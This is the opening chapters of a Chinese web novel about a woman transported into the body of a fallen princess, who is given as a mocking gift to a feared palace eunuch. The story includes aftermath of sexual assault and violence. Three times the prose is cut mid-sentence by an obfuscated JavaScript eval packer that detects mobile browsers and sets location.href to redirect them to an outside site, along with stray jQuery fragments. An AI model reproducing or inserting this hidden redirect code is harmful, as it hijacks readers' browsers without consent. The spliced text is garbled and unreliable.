《被造谣后成了掌印太监的对食》
1. 穿越
十月的南周土地,秋意正浓,萧瑟秋风吹着见黄的野草,簌簌发出不安的响声。
小路旁被摇曳野草遮住的一座破庙内,动着不甚清晰的人影。
赵凉絮意识刚清醒,只觉得周围嘈杂无比,耳中嗡鸣作响。
身上压着什么东西让人喘不过气来,全身上下那不容忽视的疼痛逼迫着赵凉絮不得不睁开眼。
赵凉絮紧皱细眉,用了好大意志才睁开双眼,方睁眼便看到正上方是破败漏风的屋顶,来自外界的冷风穿过蛛网和梁木中的缝隙刺激着赵凉絮裸露在外的大片肌肤,她的衣服本就不厚,如今又不知被谁扯开,薄薄的几层布料堪堪挂在她身上,只能起到一点遮挡的心理作用。
她转动眼珠,看向带给她不适和痛苦的根源,她身上伏着的一个衣着褴褛的脏兮兮身影。
旁边还有两个衣着相似的人正不怀好意的盯着她。
三人带给她的不适感让赵凉絮厌恶地猛吸了几口气,这可真是让人糟心的灾难现场!
见赵凉絮睁开眼睛,这两个人眼神交流了一下,狞笑着将手伸向赵凉絮。
赵凉絮眼睛一跳,刚想伸手挡住。
这里究竟是什么地方!?
她记得自己正躺在病床上留遗言,转眼间却到了这里。
看了看身边破败的建筑,她捕捉到了大脑内一些零碎的记忆,赵凉絮发现,她好像穿越了。
是这样啊。
想必是她已经死了,死后又穿越到了这个地方。
毕竟她早就被绝症折磨的形容枯槁,可刚刚抬起的手臂虽然瘦的可怜,却没有她常年被针管扎的淤青的痕迹。
真可怜,穿越过来竟然是这样一副场景。
这具身体的原主人可怜,她也是倒霉。
那些涌入的记忆暂且不去梳理,当务之急,至少先脱困。
她伸出手摸索地上的石头。
这只手被其中一个男人按住,赵凉絮强忍着恶心,用尽全力反抗,她的肾上腺素十分配合,赵凉絮剧烈的反抗让三人一时之间有点反应不过来。
她趁着这个空挡狠狠用额头撞上最靠近她的那人的眼睛,男人痛呼,另外两人放在赵凉絮身上的注意力有一丝松懈。
这几秒工夫间,赵凉絮给那个眼睛受伤的男人狠狠怼了一膝盖,手上抓住一把石子沙土向另外两人扬去。
三人瞬间被眼中的异物疼得嗷嗷叫。
赵凉絮皱着眉头拾起身旁一颗有分量的石头,盯紧其中一个男人,用尽全部力气砸过去。
那人惨叫一声,赵凉絮也不再管三人如何,没有丝毫留恋地转头就跑。
她可打不过三个身强体壮的男人。
至于那个被石头砸中的人。
呵,死了最好。
赵凉絮跑了没两步,受伤最轻的男人追了上来。
正当赵凉絮一边拼命往前跑一边思考对策时,她的耳边擦过一条细剑。
稳稳当当射在了身后男人的胸口处。
赵凉絮转头望去,一队人马映在她浅色的眸子里。
为首的是一个十分高壮的身影,他俯视着赵凉絮。
这人年龄大约三四十,脸上带着战场拼杀过的血气,他的眼神扫过自己,那是一种很让人不适的眼神,让赵凉絮不爽,她想要把这人拽下马来,狠狠打一顿。
旁边一个似乎是副官的人下马来查看她的情况。
他腰间有剑鞘,那柄剑是他掷的。
那男子十分小心地尝试替她拢了拢衣裳,却发现赵凉絮身上的衣服早已破烂不堪根本无法遮蔽身体,他避着视线将身上的披风盖在赵凉絮身上,将她的身体遮蔽好后又移回视线,却在看清她被凌乱头发下的脸时惊呼一声。
“将军,是赵公主!”
呦,赵公主,敢情她还是个公主呐。
一个公主又怎么会落到这般田地呢?
赵凉絮现在搞不清楚,此时危机的短暂解除让她身上的疼痛开始叫嚣存在感,她无暇顾及脑海里那些属于原主的记忆。
“哦?赵公主?呵,赵公主怎么出现在这里了,还搞成这副模样。”
马上的周锋有些惊讶,将眼神停在赵凉絮脸上。
“公主从北方一路逃过来,想是吃了不少苦头啊,这样漂亮的脸蛋......看起来招致了许多祸端,可真叫咱们怜惜不已。”
周锋背后的军士都随着周锋的话哈哈大笑。
周锋脸上并没有任何怜惜,只是带着些思索。
赵凉絮没听清周锋的话,但其他人的笑声显然表明他说的不是什么好话,两人离得距离有些远,她努力分辨周锋接下来的话,听着那位所谓的将军大人一字一字吐出令人冰冷的字眼。
“赵公主原本的身份倒是高贵,可如今国破家亡,又失了贞洁,如今想来,配安和那个阉人倒也合适。”
“即刻将公主带回府内治疗,明晚便将她送到阉人府上作寿礼!”
听到这话,那个替赵凉絮拢了拢衣衫的副官,神情复杂,怜悯的看了她一眼,然后遵从将军的命令,将她带回了将军府。
赵凉絮根本来不及说一句话,便由三言两语安排好了去路。
————————————
夜里,安府灯火通明,整个朝廷中有名有势的官员几近全来了,因为今日是安公公的寿辰,当今皇上眼前最得意的红人,其得宠程度甚至越过了立下赫赫战功的周将军,世人皆尊称安公公一句“九千岁”。
一辆辆奢华的马车都驶向安府。
“这阉人排面还真是大,不知道的还以为是陛下寿辰!”
“可说不得!”
马车中二人一个黑发带白,一个几近花白,年纪都委实不小了。
“为何说不得?也没旁人听见,世人皆称他九千岁,可他不过一个阉人,整日阴沉张脸倒真以为自己是个角色,陛下年幼,也多亏周将军牵制着些这阉人,我朝才没被这阉人扰的天翻地覆。”黑发官员口中多有不尊敬。
“唉,这些话你也就在马车里同我说说算了,将军大人正直威武,可就算是如今的周将军也不得不屈于安和之下。”
白发官员摇了摇头,又补充道。
“这安和小小年纪坐到这个位置,手段极其狠辣,又没了那东西,性子越发扭曲,就算以你我的地位,说了这话,恐怕也会被他安个莫须有的罪名,流放甚至处死啊,张兄还是慎言。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042299|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哼!他如今真是嚣张!我只盼着将军早日将这阉人扳倒,还我朝安宁!”
话语间,二人所坐的马车也到了安府门口。
马车上二人谈的有来有回,可下了马车,那愤世嫉俗的黑发官员换上了一副喜悦的笑颜,仿佛这寿辰喜事是替他办的一样,一面与周围的同僚彼此寒暄着,一面走进了这偌大的安府。
白发官员叹息一声,也附上一副笑脸,刚想踏进门,却发现另一辆华贵的马车停在了门口。
他惊讶迎上去,作揖道:“周将军,您也来了。”
马车上的周锋与这白发官员客套了几句,然后将在门口迎客的安和下属招呼过来,含着笑意嘱托:
“安公公,今日我身体抱恙,便不进去叨扰了,但人虽不进,却给你送了一份顶好的寿礼,请安公公笑纳。”
接着他拍了拍手,一顶小轿子被几人抬出来。
“昨日救了个美人,是来自北周的赵公主!安公公想来是见过的,想着安公公什么都有,就是缺个美人,这份薄礼还请安公公笑纳啊!”
周围的客人哗然。
这可真是巧,白日时坊间刚传起北周赵公主路遇歹人的流言,周将军既然说了“救”,那这流言恐怕八九不离十。
将一个已不是完璧之身的女子作为礼物送出,无论是谁收到这份礼物,在本朝本代都是一个莫大的侮辱,更何况是送给一个太监,一个根本就无法行事的阉人,这讽刺之意简直是……
周围的人都在小声谈论这件事。
有人赞同周锋之行,觉得十分大快人心的;也有人觉得周锋此番对赵凉絮实在不妥,平白害了人家名声。
而此时,赵凉絮在干嘛呢?
她在轿子里被五花大绑着,嘴中堵着团布,手脚也被绑的紧紧的,根本动弹不得。
而她越挣扎,身上那些伤痕就越发疼痛。
赵凉絮稍一动弹,就疼的呲牙咧嘴。
她索性不再挣扎,安安分分地呆在轿子里。
周锋周将军,看着人模狗样正直威严,但做起这种讽刺人的恶心事真是一点不含糊。
她刚被带到将军府,就被几个老婆子架着清洗身体,穿衣梳妆。
根本没有给她反应的机会,她就已经被五花大绑到这个小轿子上。
她在被押着化妆时,一个看着慈祥一些的老婆子还直惋惜地念叨。
说什么“这么好看的脸蛋却活不久了”,“公公折磨人的手段多的吓人”,“怕是熬不过晚上”等等。
这样一通下来,赵凉絮却并未感觉多么绝望。
她身死绝症,穿越到这样一个不知明细的陌生地方,短短一天时间就从荒郊野岭被带到繁华的京城,然后又被转送到太监府上,讲道理,赵凉絮是觉得,她的人生挺戏剧化的。
可她很清楚,上天又给了她一具健康的身体,她又能跑跑跳跳,这是她最大的幸运。
能继续看到明天,这样的喜悦冲淡了恐惧。
赵凉絮思索片刻,这地人生地不熟的,就算逃出去她也不知往何处,而且进了太监府也不一定是死路一条,倒不如既来之则安之。
本着如此心态,赵凉絮开始梳理她脑海中的记忆。
2. 检查
原身确实是个公主,她所在的这个地方是南周,她自己是北周送来充当质子的公主,她自十岁被送过来,质子当了六年。
南周大方,将十六岁的她还了回去,却不想,此番行为是为了吞并北周做准备。
安生日子过了不到一年,北周国土小资源少,根本扛不住战争,于是很顺理成章的灭了国。
原身趁乱逃了出来,但一个细皮嫩肉的公主携着金银细软逃亡,结果显而易见。
公主孤身一人,在逃亡过程中钱财被抢走,自己也被歹人盯上,被折辱致死,然后她穿越到了这具身体里。
这记忆零碎的很,但是赵凉絮也清楚了大致状况。
既然在这里当了六年质子,应该是见过这名“九千岁”的。
但是赵凉絮越回忆越心凉,原身孤身一人在这里,极度恐惧和害怕,质子的身份让她惶恐,也就养成了欺软怕硬的性子,在下人面前嚣张跋扈,试图找回一丝尊严。
这也导致,这位赵公主,曾经也责罚过还是小太监的安和。
记忆中的安和没有正脸,只有受罚跪在地上的背影。
更危险了啊。
原身的性子让她现在很被动。
如今她被当作一个可笑的礼物送给安和,没准这个安公公见到她一怒之下就会报责罚之仇了。
在思索间,轿子停了。
“赵公主,请下轿吧。”一个男声在轿子外响起。
赵凉絮并没有动,她也动不了。
轿子外的罗凡看里边的人并没有动静,皱着眉说:“如果公主不愿下轿的话,那便恕属下无礼。”
说罢拉开轿帘,却发现轿子里的赵凉絮双手双脚都被绑着,很明显是为了防止她逃跑,她的嘴里也被塞了团布,无法说话,只有一双浅色的眸子盯着他。
罗凡看着赵凉絮露出的手臂上大大小小的伤痕,有些躲闪。
白日里在大街小巷中的流言竟是真的,赵公主果真被歹人所玷污,而他也素来听闻这位公主貌美,摄人的姿色和她身上痕迹形成对比,更让罗凡想到这位公主的命运。
“......公主下轿吧。”
说罢用随身携带的刀剑割开了赵凉絮脚上的绳子,拿走了堵在嘴里的布团。
正当罗凡再次准备叫赵凉絮下来时,府内小厮过来提醒。
“侍卫大人,千岁命令将赵公主送到他的屋子,他稍后便去。”
罗凡有些惊讶,安大人从不让人靠近他的房间,如今却命令将这名被当做礼物的公主送到他的屋子,难不成......?
罗凡难以控制脑内的想法。
他知太监被割了一刀后,往往变得心思扭曲,更别提他亲眼见过安和折磨寻常人的手段,对于那些更加隐私的事,他虽然不清楚,却也会往大家常常谈论的那个方向想。
真是可怜了这个公主了。
罗凡撇了一眼赵凉絮,匆匆放开轿帘。
“那赵公主就再等些时候吧。”
————————————————
等轿子再停下时,罗凡让赵凉絮下来。
她的双手仍被绑着,身上的疼痛也没消散,只能蹒跚的走下轿子。
赵凉絮忍着不适一瘸一拐走进这间华丽的屋子。
屋门合上,罗凡等人在外边守着,安公公还没有来。
赵凉絮独自一人在这间豪华的屋里,她四处看了看。
果然是“九千岁”,这屋内的装潢都透露着贵气,一些看着价值不凡的玉器、瓷器仿佛不要钱似的就这样摆在屋内,或许一件东西都够平常人富足的过一辈子了吧。
她看了一会觉得无聊,有些困倦,但是双手被绑的姿势趴在桌上睡觉又实在不舒服,赵凉絮环顾四周,也没有发现能够助她脱困的工具,于是她将主意打到了整个屋子里最舒适的地方。
属于安和的那处卧榻,其上规整的摆着柔顺绸缎制成的锦被,暗色的帷帐半掩着玉枕和被衾,帷帐旁的烛火闪烁,火光照着暗色帷帐和锦被上的丝线,不时作闪,吸引着赵凉絮的注意。
软褥柔滑舒适,看起来好睡极了。
兵来将挡水来土掩,不如先舒舒服服睡一觉。
于是她凭借死猪不怕开水烫的心态,在这名“九千岁”的床上安然躺下,正如赵凉絮所期待的那样,丝绸般顺滑的软褥让她觉得宽慰极了,床帐中还有一股宜人的暖香,即使像赵凉絮这样不喜闻香的挑剔家伙也觉得格外舒心,赵凉絮就在暖香和软被中不知不觉睡着了。
过了不知多久,屋外一阵骚动,安和回来了。
安和盯着在他门外守着的罗凡,他没有吩咐过这些侍卫。
安和眯了眯眼睛,看着紧锁的屋门,心中有些猜想。
“屋内有谁?”安和薄唇中吐出嘶哑的质问。
“回安大人,屋内是周锋送来的赵公主,是......是一个下人来传话,说您吩咐属下将她送到您屋内。”
罗凡听着安和质问的语气,心中有些打鼓,安大人这副表情,可不像是知情的样子。
“你再说一遍,是谁准你将她送到这的?”
安和声音中压着怒气,指尖拂过手上的玉扳指,黑眸中冷冰冰的情绪宛如刀子一般割过罗凡的脸。
“安大人,是属下思虑不周,被、被他人传达假令,请安大人责罚!”
罗凡惶恐不安地回答,冷汗层生,他不敢看安和面上表情,却也知晓安大人必然生怒。
想想也知道,除了安和信任的一两个洒扫下人和他亲口命令能够进出的张盛,还有谁能进入安和的卧房和书房?
他真是糊涂了!
“哦,你明明知道咱家的卧房不是谁都能进的,怎么一个下人的通传,你就坏了这个规矩?”
安和如蛇的目光让罗凡恐惧。
“难不成,你也琢磨着,咱家会怎么对待这位赵公主?”安和斜下身子,语带暧昧的发问。
他拍了拍罗凡的肩膀,语气柔和地宽慰:“小罗呀,别怕,咱家不是吃人的老虎,知道错了就将功补过。”
“今晚将那个下人找出来,你再自领二十大板松松筋骨。”
“只不过......”
安和直起身,拿出帕子擦手,语气渐冷:“下次再有这样,咱家就亲自看看,你的脑子里都有些什么。”
安和推开门,他该将那个恬不知耻的女人揪出来了。
他大步走进去,一眼就看到了床上的身影。
好啊,周锋真是下了血本,当真是知道如何恶心人的。
安和走近床榻看到赵凉絮竟然在他的床上熟睡,眼角抽动,从刚才就憋着的火气渐渐涌了上来。
安和想不到竟然有人敢在他的床上睡着!
简直是一点都不怕死,这赵凉絮在南周当了六年质子,难道未曾听过他的手段吗?
他眸若寒冰,想要伸手把赵凉絮叫醒。
但是看到赵凉絮蜷缩在床边,那些被石子干草划伤的痕迹在她的身上狰狞的宣示着存在感,双手被反绑的束缚感和伤痕使得她即便在睡梦中也紧皱着眉头,安和手上动作迟疑了一下,他歪了歪头,觉得自己突如其来的迟疑过于可笑,接着他抓住赵凉絮的领子将她往地上猛的一甩。
赵凉絮就这样摔倒地上,与地面接触时再一次牵动了她身上的那些伤处,她瞬间清醒,冷汗直冒,身体弓成虾一般,试图减轻疼痛。
当赵凉絮在疼痛中缓过神来,就看到站在她面前的颀长身影。
她仰头望去,看到了一个抱胸俯视她的人,那人眼神阴冷,直白的目光一寸寸地扫过赵凉絮裸露的皮肤,没有情欲,只有审视。
“赵公主,你这般尊贵的人,咱家可受不起你的爬床啊。”
安和的声音不像寻常太监那样尖细,反而是嘶哑的,像是那种用嗓过度般的嘶哑,听起来有些雌雄难辨。
赵凉絮双手依旧被缚着,无法起身,她看着安和坐到床上,依旧是俯视着她的姿态。
赵凉絮这下看清了这位“九千岁”的脸,他有着相较于普通男人偏白也更加细腻的皮肤,而那张被世人传着说什么“阴柔无比”的脸,却并非像传言那样,相反,那是一张与他的身份地位不太匹配的脸,格外清秀和年轻,只是含笑的双眸中透着阴鸷,硬生生割裂了那份清秀。
“赵公主啊,你说,你这细皮嫩肉的,如何想不开要和周锋勾搭在一起呢?”
赵凉絮听着安和先给她扣了个帽子。
“北周已灭,如今宛如丧家之犬的你又被传出有损名声的谣言,为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042300|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了活命不知廉耻的爬上咱家的床,你让咱家夸你聪明还是愚笨呢。”
安和垂眸把玩着手上的扳指,毫无遮拦的指出赵凉絮的那些痛处。
他当然以为是赵凉絮攀附周锋,刻意在身上弄出那些伤痕,又传出那些谣言,只为让他难堪。
赵凉絮听到他轻描淡写的说那些是谣言。
哪里是谣言呢?
那个渴望活着的北周公主赵凉絮的的确确是死在了逃难的路上,她的身份与名声都是权力厮杀下的棋子。
北周公主的行径称不上好人,但经历了她的记忆和心情后,赵凉絮也知道,那不过是一个宛若浮萍的人尽全力活着的努力罢了。
之于此代女子,可悲可叹。
“坊间传闻是真是假,以安公公的手段岂能查不清楚?”
赵凉絮笑了一下,她现在身上既有白日留下来的酸痛,又有刚刚摔到地上的刺痛,如此叠加,她根本直不起身,只能面部贴着冰凉的地面尽量不动弹,可以说狼狈极了。
但明明躺在地上卑微至极,赵凉絮眼中并没有太多恐惧,她的恐惧在过去已经被消磨了太多,她只是转动那双浅色的眸子,作出不卑不亢的回应。
安和看着赵凉絮这副惨样,又凝视着那张与其处境不相配的无所谓的表情,觉得有点意思。
他想撕开赵凉絮这副充斥着冷然的面具,他想看到赵凉絮被戳破后惊慌失措的表情。
安和想到了什么,忽然眉眼一弯,笑意盈盈的表情浮现在那张年轻的脸上,生动的笑容扫去了方才面上的郁气,这一刻他仿佛由一个令人捉摸不透的高位者忽然变成了一个年轻秀净的少年,但下一秒他这张干净的不像样的外表就再次挂上了颇为刻意的阴冷假笑,他慢悠悠地对赵凉絮说:
“赵公主不知道,咱家最喜欢真话,不喜欢假话,所以万万不可对咱家说谎。
“外边都传你是被流民糟蹋了,那我便叫人检查一下,若你真是被糟蹋的,那你就可以活下去,咱家还会好好医治你,若不是的话……”
安和心中以为的是赵凉絮仍是完璧之身,毕竟好歹是位公主,如今定是与周锋密谋好了什么,来安府想查些什么,甚至豁了出去弄些伤痕不要名声,被送过来顺带侮辱他。
他本想从赵凉絮脸上看到些惊慌的表情,却不想赵凉絮一脸无所谓。
安和有些疑惑,只当赵凉絮故作冷静。
他让下人叫了有些经验的老婆子过来,仔细检查了赵凉絮的身体。
他指挥着老婆子将赵凉絮手上的绳子解开。
检查完后,老婆子有些迟疑的看了看赵凉絮,话在嘴边却又不敢说出来。
老婆子犹豫的表情落在安和眼中更像是印证了“撒谎”的证据,他已经在心里盘算好如何处罚赵凉絮了。
于是安和用刻意轻柔过的语气催促那老婆子:
“张婆,还等什么呢,快说结果吧。”
安和脸上那刻意的假笑和语气,将张婆吓得内心直叫天怨地,半白的发尖都跟着她那副老骨头架子一起抖个不停。
但她不得不说。
张婆跪在地上战战兢兢回答:“这,这赵公主,流言所传不假,她的伤颇为严重,还需得……”
老婆子有些说不出话来,赵凉絮好歹是个人,就这样说出来简直让人家难堪。
“怎么了?继续往下说啊。”
安和阴冷的声音催着老婆子继续说下去。
“还需得及时医治才行。”
张婆顶着压力往下说,她没半点虚言,若不及时医治,伤口一定会恶化。
安和闻言,又将探究的目光放在赵凉絮身上。
真是有意思,他本以为是周锋和赵凉絮特意来安府做的戏,却不成想赵凉絮竟然真的如流言所说清白已毁。
真是没想到啊。
安和又想起曾经赵凉絮在南周作质子时的愚蠢行径。
她确实没什么心机和周锋勾搭到一起,最多不过是周锋利用她罢了。
无论此伤真是流民所致,还是什么其他原因,他也懒得了解。
归根结底,周锋将赵凉絮送过来只是为了恶心他而已。
念及此,安和只觉得心下无趣,刚想吩咐人将赵凉絮弄死,扔到乱葬岗少生事端。
3. 休息
此时赵凉絮气不打一处来,刚刚被当做物件一样被摆弄,她多少还是要脸。
她盯着安和直接冷冷说道:
“安公公,我不是什么周锋派来的细作,没那个本事,我只不过是赶路途中不慎被三个恶心人盯上,又恰巧碰到周锋,他将我救下也不过是特地拿我来折辱你的,也没有别的意图了。”
见赵凉絮如此平淡地说出那些难以启齿的事,安和倒是有些相信她了,他从来没见过这样不在乎自己名节的女子,似乎是有点意思。
安和想到赵凉絮的身份,心里有了些其他的打算,他扯着沙哑的嗓子笑道:“既然的确是真话,咱家也不是什么失信的人,你可以活下去,咱家自然也会找人医治你。”
“来人,将赵公主好生安置,让府内医师现在就去医治,可别误了时辰让赵公主伤势加重,若是医不好赵公主,你们的脑袋一个都别想留下。”
安和又挂上了一副假惺惺的笑,像是真的关心赵凉絮的伤势似的。
赵凉絮看着安和那张清秀的脸摆出的表情,她能直白地感到亲和笑容下阴冷的意味,果然是能爬上这个位置的太监,就算摆出什么平易近人的笑容,手上的鲜血肯定是不少的,周身的戾气也无法全部遮掩。
就这么一会功夫,赵凉絮已经深切的体会到安和的恶名从何而来,他果真是个货真价实的奸宦。
————
自那日被送进安府接受医治已经十天,赵凉絮感觉自己的身体还真是健壮,才十天那些疼痛和痕迹已经少了不少。
只不过想起当时安和说即刻给自己医治,果真有个刚睡醒的医师被拎过来给她就诊开药,这太监真是想一出是一出。
如今她被安置在一处偏僻的院子,所用之物齐全,也不常有人来,到也算清静。
“竹木,这院子你扫的也够干净了,坐下歇会陪我聊聊呢?”
赵凉絮招呼远处正在打扫院子的竹木,那是原身的一个侍女,曾经原身回北周时并没有将她带回去,当时她有更亲近的人选,但那些亲近的侍女早就在战乱中失了性命,也幸亏竹木没有被带回去,才安然活到现在。
竹木是罗凡找来的,罗凡发现赵凉絮竟然在安和震怒后安然活了下来,甚至安和还让医师立刻医治她,只是觉得赵公主有能耐,于是特意从外边寻回竹木来巴结她。
“公主,奴婢不敢。”
正抓着笤帚打扫院子的竹木窘迫回复。
竹木站得远远的,愣是不靠近赵凉絮一步。
她看得出来这小婢女心思也不在洒扫上,只是不知为何如此胆小,明明余光已经瞥了她好几眼,却不多说一句话。
“唉,行吧,你扫你的去吧。”
赵凉絮无聊地看着天,这地方显然是安府里格外偏僻的一角,院子门前几乎没什么人经过,她这几天安安稳稳地养伤,每天饭食虽然简单,但也称不上难吃。
她这几天还是有种不真实感。
她竟然真的穿越了,前一秒,她还躺在医院中,浑身插满帮她续命的管子,望着惨白的天花板等着死神降临的那一刻。
而下一秒,她已经可以跑跑跳跳,重新开始生活。
虽说现在她的身体不大好,但那些细枝末节的疼痛远不如曾经治疗过程的痛苦。
她还颇为享受这几日能晒到太阳的悠闲生活。
赵凉絮觉得人真是得寸进尺的动物,她自己更是典型代表。
多亏这几天安和没有刁难她,或者说根本没有搭理她,安府的其他人又是礼待着她,让她感觉这地方也不是那么可怕。
她现在甚至想出院子逛逛,顺便找些闲书来看。
“竹木,你一会出去拿餐食的时候替我打听一下安公公接下来几天都什么时候不在府上。”
然后她就趁着安和不在,去找一些好说话的人借些书来看,免得借书时再遇上那个阴晴不定的太监。
竹木刚想回应,却有另一道讥讽的声音抢先一步。
“赵公主,为何要打听咱家不在的时候啊,难道有什么小算盘?”
听到这声掐着阴阳怪气语调的问询,赵凉絮只感觉两眼一黑。
早不来晚不来专挑这个时间来,结果又听到自己模棱两可的一句话,指不定这句话让他又琢磨出什么来。
但为了不让误会更大,赵凉絮还是决定抢救一下。
“安公公,我只是想去借些书来看,让竹木去打听这件事也只是怕冲撞了您,养伤期间喝着药,再读些故事愉悦身心更容易恢复。”
“我有那么可怕?”安和明知故问。
赵凉絮皱了一下鼻头回道:“安公公是宫里的贵人,我自然是对您有敬畏的。”
她低下头装作不敢看安和,但低下头一瞬间却偷摸翻了个白眼。
这安和真是不辜负她脑子里对太监的印象。
尖酸刻薄,十分难搞。
安和眯着眼睛,他虽没看见赵凉絮翻白眼,但也能觉出不对。常人见到他哪个不是谨小慎微,这赵凉絮话语间分明没有一点害怕,很异常的表现。
不安分的因素就是得放在眼皮子底下。
看看她到底是个什么妖魔鬼怪。
“你既然想看书,府上其他人要么是没读过书的、要么是武夫,高低手上没几本书,你最该求的,应该是我。”
“那是那是。”
赵凉絮继续低着头回复,略显敷衍。
“既然如此,那你就晚上来咱家的书房,咱家那儿那么多书,你大可以,好好儿挑挑。”
安和来也匆匆去也匆匆,赵凉絮看着安和离去的身影,无奈扶额。
这阴晴不定的太监,想作什么妖。
她不过是因为无聊想看些书而已啊。
竹木担忧地看着赵凉絮,她只捕捉到了“今晚”的字眼,这让她为自家公主担忧,人人都知太监如何,作为宫廷中的奴仆,她更是听过许多与太监有关的传闻。
桩桩件件都会让竹木打个寒颤。
“公主,您的身体还没好,万一安公公非要对您做些不好的事,这可怎么办。”
竹木一边说,一边想到别人给她描述的那些事,急的院子也不扫了,笤帚一扔,手指绞着衣服来回踱步。
赵凉絮倒是不担心,毕竟按照记忆中的零碎信息再加上十天前安和的表现,与其说他是那种会在缺陷上变态的太监,倒不如说他不近女色,在其他事情上更加变态。
赵凉絮手臂搁在身旁木桌上,脑海里搜刮整理着那些杂乱的记忆,视线却落在了远处正替她忧虑的竹木身上。
明明原身将她扔在南周不管,方才也是一副胆小的模样,现在竹木却关心上了赵凉絮这个抛弃她的公主。
搞不懂。
想知道原因。
内心想着想着,赵凉絮也便随之问出来了。
“竹木,我之前将你留在南周这边,你为什么现在还是这么关心我?”
“你不恨我吗?”
竹木正在远处走来走去,听到这话,脚步一顿,露出惶恐的神情,转而向赵凉絮所在的方向走几步并毫不犹豫的跪下。
“公主,奴婢不敢。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042301|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奴婢知道自己不如其他姐姐一样会伺候您,所以您将奴婢留在南周奴婢也是懂得。也多亏了奴婢不曾回去,奴婢这样的身份否则恐怕早已身死在战乱中。”
竹木伏在地上低着头,赵凉絮看不清她的神色,只能听出语气并无不妥。
“哦。”
赵凉絮回应了一声,就不再继续往下问。
竹木迟迟听不到赵凉絮的询问,心里有些打鼓。
正纠结着说些什么,又听到疑问。
“可你是回不去家乡见不到亲人,你当时就没有一点埋怨?”
“……奴婢当时确实很伤心,但奴婢知道这不是公主的错。”
“没准就是我的错。”
赵凉絮见竹木仍摆着低头的姿势掩住脸上表情,就越发好奇,她有一种直觉,竹木的话并不是发自内心的,而她正好想听听竹木的心里话,所以她将事情一点点挑明,想看看竹木到底会怎么表现。
这样的好奇心驱使下,赵凉絮一贯淡漠的脸露出了些许红润的生气。
“……”竹木避而不语。
“而且你在逃避我的问题,你真的没有一丝埋怨?你的家人也许都在盼着你呢,你却回不去。”不过北周亡国后她也不知道竹木的家人是否还在世。
“所以,你没有埋怨,也没有恨?”
赵凉絮不相信竹木会真心实意的对待她,毕竟她不过是个亡国飘零之人,空有个公主名号,她总得保证身边的人是真心待她,图个安心。
赵凉絮抚上胸口,心口间酝酿着一些莫名的情绪,让她有些不舒服。
似乎是原身的情绪。
忧虑和恐惧。
赵凉絮低头笑了一下,眼中怀着亮晶晶的情绪,等待着竹木的回复。原身的情绪只有恐惧,她则是要将恐惧扼杀掉。
“……”
竹木咬着下唇,沉默片刻。
然后她抬头,眼圈带红,下定了决心要说些什么。
“奴婢知道自己性格不讨喜,主子们都不喜欢奴婢,公主如果非想知道的话,那奴婢便直言。
“奴婢心有埋怨,埋怨公主未将奴婢带回故乡,奴婢多年仍未见亲人,只能在异国他乡小心谋生。但是......”
赵凉絮在她的眼睛里发现了欲望。
“但是比起自七岁起便已不见的亲人,我更庆幸公主将我留在了南周,让我有机会避开战乱,能活下去。有时我也觉得自己不该这样想,可是人都想活下去。”
说罢,她又忐忑不安的看了一眼赵凉絮的表情,有些后悔的快速低下头。
赵凉絮看懂了这份欲望,那是人类最纯粹的情感。
利己的渴望,那是一种另类的求生。
莫名又叫赵凉絮想起了自己。
竹木忽的直起身子,又说:“只希望公主别觉得奴婢不忠不孝,公主是奴婢现今最大的依靠,奴婢会好好侍奉公主。”
这就是她一直踌躇而不说的事,她发现赵凉絮有些同以前不一样,才萌发了想要说出来的心思。
竹木声音瑟瑟发抖,目光却坚定。
竹木并不是多么胆大的人,相反,她一直活的谨小慎微,但她也有自己的思想。她心中时常有这样的想法,但作为奴仆的生活叫她认可谦卑、循于谦卑。
今天她刚将话说出嘴,便又觉得有些后悔,她担心赵凉絮嫌她,她将生存置于家人之上,在别人眼里她是一个离经叛道的奴仆。
赵凉絮得到了答案,轻轻摇了摇头。
竹木脸色有些白。
她还是不该说这些。
4. 书房
赵凉絮走上前去想将竹木扶起来,但竹木太过紧张,不敢顺着起身,依然固执地跪着。
赵凉絮只好轻轻扶起竹木的脸,让她的眼睛看着自己。
“竹木,你没有错。”
本来赵凉絮用双手硬让竹木抬头,竹木的眼神依然是躲闪的,但听到赵凉絮的话,竹木用惊讶的眼睛看向她,又快速看向一边。
赵凉絮感到这个姿势显得她过于高高在上了,于是她将手放下,蹲下来直视竹木。
“你我如今都是亡国之人,也没什么地位分别,既然你肯将这话说出来,我也很欣喜,那我们从此就相依为命了。”
竹木听到赵凉絮一番话,有些不敢相信。
“我们没什么不同,所以当我了解了你的想法后,我希望你之后能真心对待我,可以吗?”
赵凉絮说道。
竹木手指绞着衣服,咬着下唇思考赵凉絮的话。
